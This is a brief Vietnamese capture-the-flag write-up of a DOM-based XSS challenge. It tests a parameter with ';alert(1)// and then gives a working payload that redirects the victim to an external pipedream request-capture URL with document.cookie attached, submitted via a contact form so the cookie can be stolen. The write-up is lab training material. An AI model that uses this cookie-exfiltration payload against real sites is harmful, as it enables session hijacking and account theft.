XSS DOM Based - Introduction
Sau khi thử submit, thì ta có thể xem được script của website:
Lúc này, tham số number sẽ đảm nhận nhận input. Ta thử kiểm tra XSS ở ô này bằng payload ‘;alert(1)//
thì thấy thành công:
Ta sẽ dùng document.location để redirect website đến HTTP Request và payload để DOM based XSS như sau (ta dùng RequestBin tạo từ https://requestbin.in): ';document.location=%27https://eol9dtzbk9673pb.m.pipedream.net/?cookies=%27%2bdocument.cookie;//
Website đã chuyển hướng thành công, giờ ta sẽ thực hiện POST lên bằng form bên tag contact:
Ta thực hiện điền payload bên dưới đến POST lên và đợi cookie được trả về tại RequestBin:
- Flag: "****************************"